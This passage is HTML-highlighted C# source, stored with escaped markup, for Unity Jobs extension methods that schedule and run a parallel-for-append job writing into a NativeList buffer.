class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eprivate\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIntPtr\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetReflectionData\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eInitialize\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereflectionData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ejobReflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eData\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"c1\"\u003e// JobValidationInternal.CheckReflectionDataCorrect\u0026lt;T\u0026gt;(reflectionData);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ereflectionData\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eSchedule\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNativeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einnerloopBatchCount\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edependsOn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCapacity\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCapacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetUnsafeList\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobScheduleParameters\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAddressOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetReflectionData\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003edependsOn\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eParallel\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ereturn\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleParallelFor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003einnerloopBatchCount\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003evoid\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eRun\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNativeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eunmanaged\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ewhere\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003estruct\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eIJobParallelForAppend\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eif\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eCapacity\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eSetCapacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eLength\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e+\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eParallelForAppendProducer\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobWrapper\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eAppendBuffer\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eGetUnsafeList\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobData\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e};\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"kt\"\u003evar\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eJobScheduleParameters\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUnsafeUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eAddressOf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobWrapper\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eGetReflectionData\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003enew\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleMode\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eRun\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobsUtility\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleParallelFor\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003escheduleParams\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003earrayLength\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\n\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003estatic\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003eunsafe\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eJobHandle\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eScheduleByRef\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003eref\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eTJob\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ejobData\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003eNativeList\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"n\"\u003eTValue\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026gt;\u003c/span\u003e\u003cspan class=\"w\"\u003e \u003c/span\u003e\u003cspan class=\"n\"\u003ebuffer\u003c/span\u003e\u003cspan 